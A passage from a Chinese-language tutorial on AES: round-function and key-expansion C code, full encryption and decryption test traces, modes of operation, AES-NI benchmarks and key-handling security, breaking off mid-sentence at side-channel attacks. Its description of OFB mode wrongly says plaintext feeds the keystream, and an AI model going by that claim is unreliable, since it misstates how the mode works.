field），简单言之就是一个满足特定规则的集合，集合中的元素可以进行加减乘除运算，且运算结果也是属于此集合。更详细有有关Rijndael算法的数学描述，可以参阅本文最后所罗列的参考资料，在此不做熬述。
**轮函数**
我们已经得知轮函数主要包含4种运算，但不同的运算轮所做的具体运的算组合并不相同。主要区别是初始轮（Round: 0）和最后一轮（Round:
Nr），所有中间轮的运算都是相同的，会依次进行4种运算，即：
字节代换(SubByte)
行移位(ShiftRow)
列混合(MixColumn)
轮密钥加(AddRoundKey)
根据Rinjdael算法的定义，加密轮数会针对不同的分组及不同的密钥长度选择不同的数值：
AES标准只支持128位分组（Nb = 4）的情况。
轮函数的实现代码如下，直接实现在加密函数内部循环中：
int aes_encrypt(AES_CYPHER_T mode, uint8_t *data, int len, uint8_t *key)
{
uint8_t w[4 * 4 * 15] = {0}; /* round key */
uint8_t s[4 * 4] = {0}; /* state */
int nr, i, j;
/* key expansion */
aes_key_expansion(mode, key, w);
/* start data cypher loop over input buffer */
for (i = 0; i < len; i += 4 * g_aes_nb[mode]) {
/* init state from user buffer (plaintext) */
for (j = 0; j < 4 * g_aes_nb[mode]; j++)
s[j] = data[i + j];
/* start AES cypher loop over all AES rounds */
for (nr = 0; nr <= g_aes_rounds[mode]; nr++) {
if (nr > 0) {
/* do SubBytes */
aes_sub_bytes(mode, s);
/* do ShiftRows */
aes_shift_rows(mode, s);
if (nr < g_aes_rounds[mode]) {
/* do MixColumns */
aes_mix_columns(mode, s);
}
}
/* do AddRoundKey */
aes_add_round_key(mode, s, w, nr);
}
/* save state (cypher) to user buffer */
for (j = 0; j < 4 * g_aes_nb[mode]; j++)
data[i + j] = s[j];
}
return 0;
}
**
**
**动画演示加密过程**
Enrique
Zabala创建了一个AES-128加密算法的动画演示，清楚、直观地介绍了轮函数执行的过程。[点击可直接观看](http://www.formaestudio.com/rijndaelinspector/archivos/Rijndael_Animation_v4_eng.swf)。
**轮函数拆解：字节代换（Substitute Bytes）**
字节代换（SubBytes）是对state矩阵中的每一个独立元素于置换盒 （Substitution-box，S盒）中进行查找并以此替换输入状态的操作。字节代换是可逆的非线性变换，也是AES运算组中唯一的非线性变换。字节代换逆操作也是通过逆向置换盒的查找及替换来完成的。
S盒是事先设计好的16×16的查询表，即256个元素。其设计不是随意的，要根据设计原则严格计算求得，不然无法保证算法的安全性。既然是S盒是计算得来，所以字节代换的操作完全可以通过计算来完成，不过通过S盒查表操作更方便快捷，图中所示就是通过S盒查找对应元素进行的替换操作。
void aes_sub_bytes(AES_CYPHER_T mode, uint8_t *state)
{
int i, j;
for (i = 0; i < g_aes_nb[mode]; i++) {
for (j = 0; j < 4; j++) {
state[i * 4 + j] = aes_sub_sbox(state[i * 4 + j]);
}
}
}
实例说明：
input: 00 10 20 30 40 50 60 70 80 90 a0 b0 c0 d0 e0 f0
sub: 63 ca b7 04 09 53 d0 51 cd 60 e0 e7 ba 70 e1 8c
**轮函数拆解：行移位（Shift Rows）**
行移位主要目的是实现字节在每一行的扩散，属于线性变换。
void aes_shift_rows(AES_CYPHER_T mode, uint8_t *state)
{
uint8_t *s = (uint8_t *)state;
int i, j, r;
for (i = 1; i < g_aes_nb[mode]; i++) {
for (j = 0; j < i; j++) {
uint8_t tmp = s[i];
for (r = 0; r < g_aes_nb[mode]; r++) {
s[i + r * 4] = s[i + (r + 1) * 4];
}
s[i + (g_aes_nb[mode] - 1) * 4] = tmp;
}
}
}
实例说明：
sub: 63 ca b7 04 09 53 d0 51 cd 60 e0 e7 ba 70 e1 8c
shift: 63 53 e0 8c 09 60 e1 04 cd 70 b7 51 ba ca d0 e7
**轮函数拆解：列混合（Mix Columns）**
列混合是通过将state矩阵与常矩阵C相乘以达成在列上的扩散，属于代替变换。列混合是Rijndael算法中最复杂的一步，其实质是在有限域GF(256)上的多项式乘法运算。
void aes_mix_columns(AES_CYPHER_T mode, uint8_t *state)
{
uint8_t y[16] = { 2, 3, 1, 1, 1, 2, 3, 1, 1, 1, 2, 3, 3, 1, 1, 2};
uint8_t s[4];
int i, j, r;
for (i = 0; i < g_aes_nb[mode]; i++) {
for (r = 0; r < 4; r++) {
s[r] = 0;
for (j = 0; j < 4; j++) {
s[r] = s[r] ^ aes_mul(state[i * 4 + j], y[r * 4 + j]);
}
}
for (r = 0; r < 4; r++) {
state[i * 4 + r] = s[r];
}
}
}
实例说明：
shift: 63 53 e0 8c 09 60 e1 04 cd 70 b7 51 ba ca d0 e7
mix: 5f 72 64 15 57 f5 bc 92 f7 be 3b 29 1d b9 f9 1a
**轮函数拆解：轮密钥加（Add Round Key）**
密钥加是将轮密钥简单地与状态进行逐比特异或。实现代码如下：
void aes_add_round_key(AES_CYPHER_T mode, uint8_t *state,
uint8_t *round, int nr)
{
uint32_t *w = (uint32_t *)round;
uint32_t *s = (uint32_t *)state;
int i;
for (i = 0; i < g_aes_nb[mode]; i++) {
s[i] ^= w[nr * g_aes_nb[mode] + i];
}
}
实例说明：
mix: 5f 72 64 15 57 f5 bc 92 f7 be 3b 29 1d b9 f9 1a
round: d6 aa 74 fd d2 af 72 fa da a6 78 f1 d6 ab 76 fe
state: 89 d8 10 e8 85 5a ce 68 2d 18 43 d8 cb 12 8f e4
**密钥扩展算法（Key Expansion）**
密钥扩展算法是Rijndael的密钥编排实现算法，其目的是根据种子密钥（用户密钥）生成多组轮密钥。轮密钥为多组128位密钥，对应不同密钥长度，分别是11，13，15组。
实现代码：
/*
* nr: number of rounds
* nb: number of columns comprising the state, nb = 4 dwords (16 bytes)
* nk: number of 32-bit words comprising cipher key, nk = 4, 6, 8 (KeyLength/(4*8))
*/
void aes_key_expansion(AES_CYPHER_T mode, uint8_t *key, uint8_t *round)
{
uint32_t *w = (uint32_t *)round;
uint32_t t;
int i = 0;
do {
w[i] = *((uint32_t *)&key[i * 4 + 0]);
} while (++i < g_aes_nk[mode]);
do {
if ((i % g_aes_nk[mode]) == 0) {
t = aes_rot_dword(w[i - 1]);
t = aes_sub_dword(t);
t = t ^ aes_swap_dword(g_aes_rcon[i/g_aes_nk[mode] - 1]);
} else if (g_aes_nk[mode] > 6 && (i % g_aes_nk[mode]) == 4) {
t = aes_sub_dword(w[i - 1]);
} else {
t = w[i - 1];
}
w[i] = w[i - g_aes_nk[mode]] ^ t;
} while (++i < g_aes_nb[mode] * (g_aes_rounds[mode] + 1));
/* key can be discarded (or zeroed) from memory */
}
以AES-128为例，从128位种子密钥生成11组轮密钥（每组128位）：
Input:
key : 00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f
Key Expansion:
00: rs: 00010203
01: rs: 04050607
02: rs: 08090a0b
03: rs: 0c0d0e0f
04: rot: 0d0e0f0c sub: d7ab76fe rcon: 01000000 xor: fe76abd6 rs: d6aa74fd
05: equ: d6aa74fd rs: d2af72fa
06: equ: d2af72fa rs: daa678f1
07: equ: daa678f1 rs: d6ab76fe
08: rot: ab76fed6 sub: 6238bbf6 rcon: 02000000 xor: f6bb3860 rs: b692cf0b
09: equ: b692cf0b rs: 643dbdf1
10: equ: 643dbdf1 rs: be9bc500
11: equ: be9bc500 rs: 6830b3fe
12: rot: 30b3fe68 sub: 046dbb45 rcon: 04000000 xor: 45bb6d00 rs: b6ff744e
13: equ: b6ff744e rs: d2c2c9bf
14: equ: d2c2c9bf rs: 6c590cbf
15: equ: 6c590cbf rs: 0469bf41
16: rot: 69bf4104 sub: f90883f2 rcon: 08000000 xor: f28308f1 rs: 47f7f7bc
17: equ: 47f7f7bc rs: 95353e03
18: equ: 95353e03 rs: f96c32bc
19: equ: f96c32bc rs: fd058dfd
20: rot: 058dfdfd sub: 6b5d5454 rcon: 10000000 xor: 54545d7b rs: 3caaa3e8
21: equ: 3caaa3e8 rs: a99f9deb
22: equ: a99f9deb rs: 50f3af57
23: equ: 50f3af57 rs: adf622aa
24: rot: f622aaad sub: 4293ac95 rcon: 20000000 xor: 95ac9362 rs: 5e390f7d
25: equ: 5e390f7d rs: f7a69296
26: equ: f7a69296 rs: a7553dc1
27: equ: a7553dc1 rs: 0aa31f6b
28: rot: a31f6b0a sub: 0ac07f67 rcon: 40000000 xor: 677fc04a rs: 14f9701a
29: equ: 14f9701a rs: e35fe28c
30: equ: e35fe28c rs: 440adf4d
31: equ: 440adf4d rs: 4ea9c026
32: rot: a9c0264e sub: d3baf72f rcon: 80000000 xor: 2ff7ba53 rs: 47438735
33: equ: 47438735 rs: a41c65b9
34: equ: a41c65b9 rs: e016baf4
35: equ: e016baf4 rs: aebf7ad2
36: rot: bf7ad2ae sub: 08dab5e4 rcon: 1b000000 xor: e4b5da13 rs: 549932d1
37: equ: 549932d1 rs: f0855768
38: equ: f0855768 rs: 1093ed9c
39: equ: 1093ed9c rs: be2c974e
40: rot: 2c974ebe sub: 71882fae rcon: 36000000 xor: ae2f8847 rs: 13111d7f
41: equ: 13111d7f rs: e3944a17
42: equ: e3944a17 rs: f307a78b
43: equ: f307a78b rs: 4d2b30c5
**加密过程实例**
Encrypting block ...
Round 0:
input: 00 11 22 33 44 55 66 77 88 99 aa bb cc dd ee ff
round: 00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f
state: 00 10 20 30 40 50 60 70 80 90 a0 b0 c0 d0 e0 f0
Round 1:
input: 00 10 20 30 40 50 60 70 80 90 a0 b0 c0 d0 e0 f0
sub: 63 ca b7 04 09 53 d0 51 cd 60 e0 e7 ba 70 e1 8c
shift: 63 53 e0 8c 09 60 e1 04 cd 70 b7 51 ba ca d0 e7
mix: 5f 72 64 15 57 f5 bc 92 f7 be 3b 29 1d b9 f9 1a
round: d6 aa 74 fd d2 af 72 fa da a6 78 f1 d6 ab 76 fe
state: 89 d8 10 e8 85 5a ce 68 2d 18 43 d8 cb 12 8f e4
Round 2:
input: 89 d8 10 e8 85 5a ce 68 2d 18 43 d8 cb 12 8f e4
sub: a7 61 ca 9b 97 be 8b 45 d8 ad 1a 61 1f c9 73 69
shift: a7 be 1a 69 97 ad 73 9b d8 c9 ca 45 1f 61 8b 61
mix: ff 87 96 84 31 d8 6a 51 64 51 51 fa 77 3a d0 09
round: b6 92 cf 0b 64 3d bd f1 be 9b c5 00 68 30 b3 fe
state: 49 15 59 8f 55 e5 d7 a0 da ca 94 fa 1f 0a 63 f7
Round 3:
input: 49 15 59 8f 55 e5 d7 a0 da ca 94 fa 1f 0a 63 f7
sub: 3b 59 cb 73 fc d9 0e e0 57 74 22 2d c0 67 fb 68
shift: 3b d9 22 68 fc 74 fb 73 57 67 cb e0 c0 59 0e 2d
mix: 4c 9c 1e 66 f7 71 f0 76 2c 3f 86 8e 53 4d f2 56
round: b6 ff 74 4e d2 c2 c9 bf 6c 59 0c bf 04 69 bf 41
state: fa 63 6a 28 25 b3 39 c9 40 66 8a 31 57 24 4d 17
Round 4:
input: fa 63 6a 28 25 b3 39 c9 40 66 8a 31 57 24 4d 17
sub: 2d fb 02 34 3f 6d 12 dd 09 33 7e c7 5b 36 e3 f0
shift: 2d 6d 7e f0 3f 33 e3 34 09 36 02 dd 5b fb 12 c7
mix: 63 85 b7 9f fc 53 8d f9 97 be 47 8e 75 47 d6 91
round: 47 f7 f7 bc 95 35 3e 03 f9 6c 32 bc fd 05 8d fd
state: 24 72 40 23 69 66 b3 fa 6e d2 75 32 88 42 5b 6c
Round 5:
input: 24 72 40 23 69 66 b3 fa 6e d2 75 32 88 42 5b 6c
sub: 36 40 09 26 f9 33 6d 2d 9f b5 9d 23 c4 2c 39 50
shift: 36 33 9d 50 f9 b5 39 26 9f 2c 09 2d c4 40 6d 23
mix: f4 bc d4 54 32 e5 54 d0 75 f1 d6 c5 1d d0 3b 3c
round: 3c aa a3 e8 a9 9f 9d eb 50 f3 af 57 ad f6 22 aa
state: c8 16 77 bc 9b 7a c9 3b 25 02 79 92 b0 26 19 96
Round 6:
input: c8 16 77 bc 9b 7a c9 3b 25 02 79 92 b0 26 19 96
sub: e8 47 f5 65 14 da dd e2 3f 77 b6 4f e7 f7 d4 90
shift: e8 da b6 90 14 77 d4 65 3f f7 f5 e2 e7 47 dd 4f
mix: 98 16 ee 74 00 f8 7f 55 6b 2c 04 9c 8e 5a d0 36
round: 5e 39 0f 7d f7 a6 92 96 a7 55 3d c1 0a a3 1f 6b
state: c6 2f e1 09 f7 5e ed c3 cc 79 39 5d 84 f9 cf 5d
Round 7:
input: c6 2f e1 09 f7 5e ed c3 cc 79 39 5d 84 f9 cf 5d
sub: b4 15 f8 01 68 58 55 2e 4b b6 12 4c 5f 99 8a 4c
shift: b4 58 12 4c 68 b6 8a 01 4b 99 f8 2e 5f 15 55 4c
mix: c5 7e 1c 15 9a 9b d2 86 f0 5f 4b e0 98 c6 34 39
round: 14 f9 70 1a e3 5f e2 8c 44 0a df 4d 4e a9 c0 26
state: d1 87 6c 0f 79 c4 30 0a b4 55 94 ad d6 6f f4 1f
Round 8:
input: d1 87 6c 0f 79 c4 30 0a b4 55 94 ad d6 6f f4 1f
sub: 3e 17 50 76 b6 1c 04 67 8d fc 22 95 f6 a8 bf c0
shift: 3e 1c 22 c0 b6 fc bf 76 8d a8 50 67 f6 17 04 95
mix: ba a0 3d e7 a1 f9 b5 6e d5 51 2c ba 5f 41 4d 23
round: 47 43 87 35 a4 1c 65 b9 e0 16 ba f4 ae bf 7a d2
state: fd e3 ba d2 05 e5 d0 d7 35 47 96 4e f1 fe 37 f1
Round 9:
input: fd e3 ba d2 05 e5 d0 d7 35 47 96 4e f1 fe 37 f1
sub: 54 11 f4 b5 6b d9 70 0e 96 a0 90 2f a1 bb 9a a1
shift: 54 d9 90 a1 6b a0 9a b5 96 bb f4 0e a1 11 70 2f
mix: e9 f7 4e ec 02 30 20 f6 1b f2 cc f2 35 3c 21 c7
round: 54 99 32 d1 f0 85 57 68 10 93 ed 9c be 2c 97 4e
state: bd 6e 7c 3d f2 b5 77 9e 0b 61 21 6e 8b 10 b6 89
Round 10:
input: bd 6e 7c 3d f2 b5 77 9e 0b 61 21 6e 8b 10 b6 89
sub: 7a 9f 10 27 89 d5 f5 0b 2b ef fd 9f 3d ca 4e a7
shift: 7a d5 fd a7 89 ef 4e 27 2b ca 10 0b 3d 9f f5 9f
round: 13 11 1d 7f e3 94 4a 17 f3 07 a7 8b 4d 2b 30 c5
state: 69 c4 e0 d8 6a 7b 04 30 d8 cd b7 80 70 b4 c5 5a
Output:
cypher: 69 c4 e0 d8 6a 7b 04 30 d8 cd b7 80 70 b4 c5 5a
**解密轮函数**
对Rijndael算法来说解密过程就是加密过程的逆向过程，其解密轮函数实现如下：
int aes_decrypt(AES_CYPHER_T mode, uint8_t *data, int len, uint8_t *key)
{
uint8_t w[4 * 4 * 15] = {0}; /* round key */
uint8_t s[4 * 4] = {0}; /* state */
int nr, i, j;
/* key expansion */
aes_key_expansion(mode, key, w);
/* start data cypher loop over input buffer */
for (i = 0; i < len; i += 4 * g_aes_nb[mode]) {
/* init state from user buffer (cyphertext) */
for (j = 0; j < 4 * g_aes_nb[mode]; j++)
s[j] = data[i + j];
/* start AES cypher loop over all AES rounds */
for (nr = g_aes_rounds[mode]; nr >= 0; nr--) {
/* do AddRoundKey */
aes_add_round_key(mode, s, w, nr);
if (nr > 0) {
if (nr < g_aes_rounds[mode]) {
/* do MixColumns */
inv_mix_columns(mode, s);
}
/* do ShiftRows */
inv_shift_rows(mode, s);
/* do SubBytes */
inv_sub_bytes(mode, s);
}
}
/* save state (cypher) to user buffer */
for (j = 0; j < 4 * g_aes_nb[mode]; j++)
data[i + j] = s[j];
}
return 0;
}
**解密过程实例**
Decrypting block ...
Round 10:
input: 69 c4 e0 d8 6a 7b 04 30 d8 cd b7 80 70 b4 c5 5a
round: 13 11 1d 7f e3 94 4a 17 f3 07 a7 8b 4d 2b 30 c5
shift: 7a d5 fd a7 89 ef 4e 27 2b ca 10 0b 3d 9f f5 9f
sub: 7a 9f 10 27 89 d5 f5 0b 2b ef fd 9f 3d ca 4e a7
state: bd 6e 7c 3d f2 b5 77 9e 0b 61 21 6e 8b 10 b6 89
Round 9:
input: bd 6e 7c 3d f2 b5 77 9e 0b 61 21 6e 8b 10 b6 89
round: 54 99 32 d1 f0 85 57 68 10 93 ed 9c be 2c 97 4e
mix: e9 f7 4e ec 02 30 20 f6 1b f2 cc f2 35 3c 21 c7
shift: 54 d9 90 a1 6b a0 9a b5 96 bb f4 0e a1 11 70 2f
sub: 54 11 f4 b5 6b d9 70 0e 96 a0 90 2f a1 bb 9a a1
state: fd e3 ba d2 05 e5 d0 d7 35 47 96 4e f1 fe 37 f1
Round 8:
input: fd e3 ba d2 05 e5 d0 d7 35 47 96 4e f1 fe 37 f1
round: 47 43 87 35 a4 1c 65 b9 e0 16 ba f4 ae bf 7a d2
mix: ba a0 3d e7 a1 f9 b5 6e d5 51 2c ba 5f 41 4d 23
shift: 3e 1c 22 c0 b6 fc bf 76 8d a8 50 67 f6 17 04 95
sub: 3e 17 50 76 b6 1c 04 67 8d fc 22 95 f6 a8 bf c0
state: d1 87 6c 0f 79 c4 30 0a b4 55 94 ad d6 6f f4 1f
Round 7:
input: d1 87 6c 0f 79 c4 30 0a b4 55 94 ad d6 6f f4 1f
round: 14 f9 70 1a e3 5f e2 8c 44 0a df 4d 4e a9 c0 26
mix: c5 7e 1c 15 9a 9b d2 86 f0 5f 4b e0 98 c6 34 39
shift: b4 58 12 4c 68 b6 8a 01 4b 99 f8 2e 5f 15 55 4c
sub: b4 15 f8 01 68 58 55 2e 4b b6 12 4c 5f 99 8a 4c
state: c6 2f e1 09 f7 5e ed c3 cc 79 39 5d 84 f9 cf 5d
Round 6:
input: c6 2f e1 09 f7 5e ed c3 cc 79 39 5d 84 f9 cf 5d
round: 5e 39 0f 7d f7 a6 92 96 a7 55 3d c1 0a a3 1f 6b
mix: 98 16 ee 74 00 f8 7f 55 6b 2c 04 9c 8e 5a d0 36
shift: e8 da b6 90 14 77 d4 65 3f f7 f5 e2 e7 47 dd 4f
sub: e8 47 f5 65 14 da dd e2 3f 77 b6 4f e7 f7 d4 90
state: c8 16 77 bc 9b 7a c9 3b 25 02 79 92 b0 26 19 96
Round 5:
input: c8 16 77 bc 9b 7a c9 3b 25 02 79 92 b0 26 19 96
round: 3c aa a3 e8 a9 9f 9d eb 50 f3 af 57 ad f6 22 aa
mix: f4 bc d4 54 32 e5 54 d0 75 f1 d6 c5 1d d0 3b 3c
shift: 36 33 9d 50 f9 b5 39 26 9f 2c 09 2d c4 40 6d 23
sub: 36 40 09 26 f9 33 6d 2d 9f b5 9d 23 c4 2c 39 50
state: 24 72 40 23 69 66 b3 fa 6e d2 75 32 88 42 5b 6c
Round 4:
input: 24 72 40 23 69 66 b3 fa 6e d2 75 32 88 42 5b 6c
round: 47 f7 f7 bc 95 35 3e 03 f9 6c 32 bc fd 05 8d fd
mix: 63 85 b7 9f fc 53 8d f9 97 be 47 8e 75 47 d6 91
shift: 2d 6d 7e f0 3f 33 e3 34 09 36 02 dd 5b fb 12 c7
sub: 2d fb 02 34 3f 6d 12 dd 09 33 7e c7 5b 36 e3 f0
state: fa 63 6a 28 25 b3 39 c9 40 66 8a 31 57 24 4d 17
Round 3:
input: fa 63 6a 28 25 b3 39 c9 40 66 8a 31 57 24 4d 17
round: b6 ff 74 4e d2 c2 c9 bf 6c 59 0c bf 04 69 bf 41
mix: 4c 9c 1e 66 f7 71 f0 76 2c 3f 86 8e 53 4d f2 56
shift: 3b d9 22 68 fc 74 fb 73 57 67 cb e0 c0 59 0e 2d
sub: 3b 59 cb 73 fc d9 0e e0 57 74 22 2d c0 67 fb 68
state: 49 15 59 8f 55 e5 d7 a0 da ca 94 fa 1f 0a 63 f7
Round 2:
input: 49 15 59 8f 55 e5 d7 a0 da ca 94 fa 1f 0a 63 f7
round: b6 92 cf 0b 64 3d bd f1 be 9b c5 00 68 30 b3 fe
mix: ff 87 96 84 31 d8 6a 51 64 51 51 fa 77 3a d0 09
shift: a7 be 1a 69 97 ad 73 9b d8 c9 ca 45 1f 61 8b 61
sub: a7 61 ca 9b 97 be 8b 45 d8 ad 1a 61 1f c9 73 69
state: 89 d8 10 e8 85 5a ce 68 2d 18 43 d8 cb 12 8f e4
Round 1:
input: 89 d8 10 e8 85 5a ce 68 2d 18 43 d8 cb 12 8f e4
round: d6 aa 74 fd d2 af 72 fa da a6 78 f1 d6 ab 76 fe
mix: 5f 72 64 15 57 f5 bc 92 f7 be 3b 29 1d b9 f9 1a
shift: 63 53 e0 8c 09 60 e1 04 cd 70 b7 51 ba ca d0 e7
sub: 63 ca b7 04 09 53 d0 51 cd 60 e0 e7 ba 70 e1 8c
state: 00 10 20 30 40 50 60 70 80 90 a0 b0 c0 d0 e0 f0
Round 0:
input: 00 10 20 30 40 50 60 70 80 90 a0 b0 c0 d0 e0 f0
round: 00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f
state: 00 11 22 33 44 55 66 77 88 99 aa bb cc dd ee ff
Output:
plain: 00 11 22 33 44 55 66 77 88 99 aa bb cc dd ee ff
**
**
**算法设计思想**
**加密算法的一般设计准则**
混淆 (Confusion)
最大限度地复杂化密文、明文与密钥之间的关系，通常用非线性变换算法达到最大化的混淆。
扩散 (Diffusion)
明文或密钥每变动一位将最大化地影响密文中的位数，通常采用线性变换算法达到最大化的扩散。
**AES评判要求**
NIST在征集算法的时候就提出了几项硬性要求：
分组加密算法：支持128位分组大小，128/192/256位密钥
安全性不低于3DES，但实施与执行要比3DES的更高效
优化过的ANSI C的实现代码
KAT(Known-Answer tests)及MCT(Monte Carlo Tests)测试及验证
软件及硬件实现的便捷
可抵御已知攻击
**Rijndael设计思想**
安全性（Security）
算法足够强，抗攻击
经济性（Efficiency）
算法运算效率高
密钥捷变（Key Agility）
更改密钥所引入的损失尽量小，即最小消耗的密钥扩展算法
适应性 （Versatility）
适用于不同的CPU架构，软件或硬件平台的实现
设计简单（Simplicity）
轮函数的设计精简，只是多轮迭代
**S盒设计**
S盒是由一个有限域GF(256)上的乘法求逆并串联线性仿射变换所构造出来的，不是一个随意构造的简单查询表。因其运算复杂，众多的AES
软件及硬件实现直接使用了查找表(LUP, Look-up
table)，但查询表的方式并不适合所有场景，针对特定的硬件最小化面积设计需求，则要采用优化的组合逻辑以得到同价的S盒替换。
**
**
**工作模式**
分组加密算法是按分组大小来进行加解密操作的，如DES算法的分组是64位，而AES是128位，但实际明文的长度一般要远大于分组大小，这样的情况如何处理呢？
这正是"mode of operation"即工作模式要解决的问题：明文数据流怎样按分组大小切分，数据不对齐的情况怎么处理等等。
早在1981年，DES算法公布之后，NIST在标准文献FIPS 81中公布了4种工作模式：
电子密码本：Electronic Code Book Mode (ECB)
密码分组链接：Cipher Block Chaining Mode (CBC)
密文反馈：Cipher Feedback Mode (CFB)
输出反馈：Output Feedback Mode (OFB)
2001年又针对AES加入了新的工作模式：
计数器模式：Counter Mode (CTR)
后来又陆续引入其它新的工作模式。在此仅介绍几种常用的：
**ECB：电子密码本模式**
ECB模式只是将明文按分组大小切分，然后用同样的密钥正常加密切分好的明文分组。
ECB的理想应用场景是短数据（如加密密钥）的加密。此模式的问题是无法隐藏原明文数据的模式，因为同样的明文分组加密得到的密文也是一样的。
举例来说明，下图为明文图片：
经ECB模式加密的图片：
图中也正好验证了AES的扩散效果：作为局部图案的叶子，其红颜色在加密后扩散到了整张图片上。
经CBC模式加密的图片：
**CBC：密码分组链接模式**
此模式是1976年由IBM所发明，引入了IV（初始化向量：Initialization
Vector）的概念。IV是长度为分组大小的一组随机，通常情况下不用保密，不过在大多数情况下，针对同一密钥不应多次使用同一组IV。
CBC要求第一个分组的明文在加密运算前先与IV进行异或；从第二组开始，所有的明文先与前一分组加密后的密文进行异或。[区块链(blockchain)的鼻祖！]
CBC模式相比ECB实现了更好的模式隐藏，但因为其将密文引入运算，加解密操作无法并行操作。同时引入的IV向量，还需要加、解密双方共同知晓方可。
实现代码：
int aes_encrypt_cbc(AES_CYPHER_T mode, uint8_t *data, int len,
uint8_t *key, uint8_t *iv)
{
uint8_t w[4 * 4 * 15] = {0}; /* round key */
uint8_t s[4 * 4] = {0}; /* state */
uint8_t v[4 * 4] = {0}; /* iv */
int nr, i, j;
/* key expansion */
aes_key_expansion(mode, key, w);
memcpy(v, iv, sizeof(v));
/* start data cypher loop over input buffer */
for (i = 0; i < len; i += 4 * g_aes_nb[mode]) {
/* init state from user buffer (plaintext) */
for (j = 0; j < 4 * g_aes_nb[mode]; j++)
s[j] = data[i + j] ^ v[j];
/* start AES cypher loop over all AES rounds */
for (nr = 0; nr <= g_aes_rounds[mode]; nr++) {
if (nr > 0) {
/* do SubBytes */
aes_sub_bytes(mode, s);
/* do ShiftRows */
aes_shift_rows(mode, s);
if (nr < g_aes_rounds[mode]) {
/* do MixColumns */
aes_mix_columns(mode, s);
}
}
/* do AddRoundKey */
aes_add_round_key(mode, s, w, nr);
}
/* save state (cypher) to user buffer */
for (j = 0; j < 4 * g_aes_nb[mode]; j++)
data[i + j] = v[j] = s[j];
}
return 0;
}
**CFB：密文反馈模式**
与CBC模式类似，但不同的地方在于，CFB模式先生成密码流字典，然后用密码字典与明文进行异或操作并最终生成密文。后一分组的密码字典的生成需要前一分组的密文参与运算。
CFB模式是用分组算法实现流算法，明文数据不需要按分组大小对齐。
**OFB：输出反馈模式**
OFB模式与CFB模式不同的地方是：生成字典的时候会采用明文参与运算，CFB采用的是密文。
**CTR：计数器模式模式**
CTR模式同样会产生流密码字典，但同是会引入一个计数，以保证任意长时间均不会产生重复输出。
CTR模式只需要实现加密算法以生成字典，明文数据与之异或后得到密文，反之便是解密过程。CTR模式可以采用并行算法处理以提升吞量，另外加密数据块的访问可以是随机的，与前后上下文无关。
**CCM：Counter with CBC-MAC**
CCM模式，全称是Counter with Cipher Block Chaining-Message Authentication
Code，是CTR工作模式和CMAC认证算法的组合体，可以同时数据加密和鉴别服务。
明文数据通过CTR模式加密成密文，然后在密文后面再附加上认证数据，所以最终的密文会比明文要长。具体的加密流程如下描述：先对明文数据认证并产生一个tag，在后续加密过程中使用此tag和IV生成校验值U。然后用CTR模式来加密原输入明文数据，在密文的后面附上校验码Ｕ。
**GCM：伽罗瓦计数器模式**
类型CCM模式，GCM模式是CTR和GHASH的组合，GHASH操作定义为密文结果与密钥以及消息长度在GF（2^128）域上相乘。GCM比CCM的优势是在于更高并行度及更好的性能。TLS
1.2标准使用的就是AES-GCM算法，并且Intel CPU提供了GHASH的硬件加速功能。
**硬件加速**
AES作为主导的加密标准，其应用越来越广泛，特别是针对网络数据的加密需求，越来越多的硬件都集成AES
128/192/256位算法及不同的工作模式的硬件加速的实现。
**AES_NI: X86架构**
Intel于2010发发布了支持AES加速的CPU，实现了高阶的AES加解密指令即AES_NI：AES New
Instructions。AES_NI包含6指令：其中4条用于加解密，2条用于密钥扩展。根据[[AES_NI白皮书]](https://software.intel.com/sites/default/files/article/165683/aes-wp-2012-09-22-v01.pdf)中所说，AES_NI可以带来2-3倍的性能提升。
目前OpenSSL，Linux's Crypto API以及Windows Cryptography API中均已加入对AES_NI的支持。
**AES_NI: 测试**
测试环境：
Intel(R) Core(TM) i7-4790 CPU @ 3.60GHz 4 Cores with HyperThread (Enabled or Disabled)
Ubuntu 16.04 AMD64, OpenSSL 1.0.2g-fips 1 Mar 2016
测试方法：
关闭硬件加速1/2/4/8线程AES-256/128-CBC：
OPENSSL_ia32cap="~0x200000200000000" openssl speed -multi {1/2/4/8} -elapsed -evp {aes-256/128-cbc}
开启硬件加速1/2/4/8线程AES-256/128-CBC：
openssl speed -multi {1/2/4/8} -elapsed -evp {aes-256/128-cbc}
超线程的开户与关闭只能通过UEFI/BIOS来设置，测试命令同上。
从图中可以得到如下结论：
AES_NI加速可以提升性能1倍多，AESNI-128基本上都是AES-128的2.2倍左右。
AES-128与AES-256的性能比基本在1.36左右（15/11，忽略密钥编排用时的情况下）
比较有趣的一点发现是，超线程所带来的影响比预想的要大得多。针对高并行的情形，在开启AES_NI时超线程可以带来接近1倍的性能提升；但在关闭AES_NI的情况下对性能提升的贡献要小的多。超线程虽然逻辑上让我们觉得一核变成了两核，其实质只是同一物理核上的队列管理机制，关闭AES_NI的情况下的测试数据基本验证了这一点。另一方面AES_NI硬件加速是基于物理核的，不可能是针对超线程的，所以超线程与AES_NI组合所带来的巨大的性能提升让人有些费解，比较可能的解释是AES_NI硬件加速引擎的潜力足够强大以至于一个物理核心不能完全发挥其效能，所以在超线程开启的情况下能有更好的表现。
**ARM及其它体系**
2011年发布的ARMv8-A处理器架构开始支持AES加速指令，其指令集与AES_NI不兼容但实现了类似的功能。除ARM外，SUN SPARC(T4,
T5, M5以后)及IBM Power7+架构的CPU均已支持AES加速。
**实现上的安全性考虑**
**内存与交换**
程序如果将密钥存储在可交换内存页中，在内存吃紧的情况下有可能会交换出来并写入磁盘。如辅以代码逆向等，密钥很有可能会泄露。
应用层最好用mlock(Linux)或VirtualLock(Windows)来防止内存页被交换至磁盘。
但因为密钥在内存中，所以任何能访问内存的方式均有可能导致密钥的泄漏。曾流行的一种攻击是通过1394 DMA方式来访问目标机内存，Linux/Windows
Login bypass，Windows bitlock等漏洞均由起引起。较新的CPU为硬件虚拟化所引入的IO MMU （Intel VT-d or
AMD-Vi）可以有效地限制硬件对内存的访问权限。
**传统攻击**
AES从产生至今依然是最安全的加密算法，传统攻击手段依然无法撼动其安全性。虽然已有攻击手段显示可以将AES-256的暴力搜索次数从2^256次降至2^119次，但依然没有实际操作价值。
不过随着计算力的提升，特别是量子计算机的发展，AES将不再是安全的。当然可以肯定的是：一定会出现更安全的加密算法。
**旁路攻击**
旁路攻击（Side-channel attack,
